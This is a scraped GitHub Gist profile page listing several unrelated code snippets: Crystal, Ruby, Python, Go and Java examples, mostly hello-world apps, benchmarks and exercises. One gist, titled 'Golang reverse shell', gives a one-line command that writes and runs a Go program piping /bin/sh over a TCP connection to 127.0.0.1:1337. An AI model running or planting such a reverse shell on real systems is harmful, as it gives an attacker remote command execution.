Skip to content

Instantly share code, notes, and snippets.

View hugoabonizio's full-sized avatar
👾

Hugo Abonizio hugoabonizio

👾
View GitHub Profile
import os
import tqdm
import gzip
import torch
import tarfile
import logging
from datetime import datetime
from torch.utils.data import DataLoader
from sentence_transformers import InputExample, LoggingHandler, util
from sentence_transformers.cross_encoder import CrossEncoder
@hugoabonizio
hugoabonizio / program.cr
Last active November 10, 2017 12:06
This program breaks Crystal compiler
a = {1, 0}
b = {a, a}
c = {b, b}
d = {c, c}
e = {d, d}
f = {e, e}
g = {f, f}
h = {g, g}
i = {h, h}
j = {i, i}
@hugoabonizio
hugoabonizio / requir.rb
Created October 15, 2016 20:28
Load precompiled ruby file
def requir(path)
source = "#{path}.rb"
compiled = "#{source}c"
if File.exists? compiled
bin = File.binread compiled
bytecode = RubyVM::InstructionSequence.load_from_binary(bin)
elsif File.exist? source
bytecode = RubyVM::InstructionSequence.compile_file(source)
File.binwrite compiled, bytecode.to_binary
else
require "./bojack/src/bojack/client"
require "benchmark"
client = BoJack::Client.new
N = 100
Benchmark.bm do |x|
x.report "shared" do
N.times do
client.set "bo", "jack"
end
@hugoabonizio
hugoabonizio / shell.go
Created June 1, 2016 16:10 — forked from takeshixx/shell.go
Golang reverse shell
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","127.0.0.1:1337");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run();}'>/tmp/sh.go&&go run /tmp/sh.go
@hugoabonizio
hugoabonizio / frank.cr
Created September 14, 2015 02:25
Simple frank app
require "frank"
get "/:name" do |ctx|
"Hello world, #{ctx.params["name"]}!"
end
@hugoabonizio
hugoabonizio / sinatra.rb
Created September 14, 2015 02:17
Simple Sinatra app
require 'sinatra'
get '/:name' do
"Hello world, #{params[:name]}!"
end
@hugoabonizio
hugoabonizio / exercicio.java
Created July 21, 2015 13:58
Exercício 6 - Histograma
package aulacompgrafica;
import ij.ImagePlus;
import ij.io.Opener;
import ij.process.ByteProcessor;
import ij.process.ColorProcessor;
import ij.process.ImageProcessor;
import java.awt.Color;
public class AulaCompGrafica {
require "banjo"
require "http"
class WelcomeController < Banjo::Controller::Base
def index
end
def test
render text: "aaa"
end
require "http/server"
require "http/server/handlers/websocket_handler"
handlers = [] of HTTP::Handler
handlers << HTTP::LogHandler.new
handlers << HTTP::WebSocketHandler.new do |req|
puts "> #{req}"
end
server = HTTP::Server.new(3000, handlers)
server.listen